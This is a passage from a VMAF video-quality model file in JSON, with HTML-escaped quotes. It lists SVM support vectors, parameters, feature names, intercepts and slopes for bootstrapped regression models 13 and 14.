2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n4 1:0.62552631 2:0.49739676 3:0.30895604 4:0.40532955 5:0.48355121 6:0.54476585 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n4 1:0.37333711 2:0.23066177 3:0.29022709 4:0.26882214 5:0.30809596 6:0.35304275 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.85632141 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n4 1:0.66051984 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-3.596939885552049 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n-4 1:0.72816168 2:0.047285912 3:0.47217411 4:0.83138845 5:0.8704229 6:0.88419439 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.58396162 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.72816168 2:0.047285912 3:0.47217411 4:0.83138845 5:0.8704229 6:0.88419439 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n-4 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n4 1:0.9418574 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-0.6305772632292915 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.66051984 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:0.8789356 2:0.54342577 3:0.32439292 4:0.78747769 5:0.87303614 6:0.91271252 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n4 1:0.57308967 2:0.055921852 3:0.29301498 4:0.67070014 5:0.83429953 6:0.89348041 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.85632141 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n-4 1:0.72816168 2:0.047285912 3:0.47217411 4:0.83138845 5:0.8704229 6:0.88419439 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-0.8894243940153255 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n4 1:0.67721467 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n1.993421731397643 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n0.006578268602357856 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.37392021 2:1 3:0.10644455 4:0.21484368 5:0.25587544 6:0.27527817 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.67482533 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n4 1:0.58396162 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n-0.8830584572033334 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;13&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 211\nrho -1.09005\nSV\n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n-4 1:0.69004118 2:0.23066177 3:0.43933868 4:0.56327049 5:0.65339511 6:0.71348696 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n4 1:0.57308967 2:0.055921852 3:0.29301498 4:0.67070014 5:0.83429953 6:0.89348041 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n-2.052086895583625 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n-1.805123619076877 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n-4 1:0.80929502 2:0.08765484 3:0.52947327 4:0.7501341 5:0.82294191 6:0.86264385 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.90057657 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n4 1:1 3:0.83319067 4:0.98956086 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1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n0.6963172974807204 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n-4 1:0.85632141 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;14&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
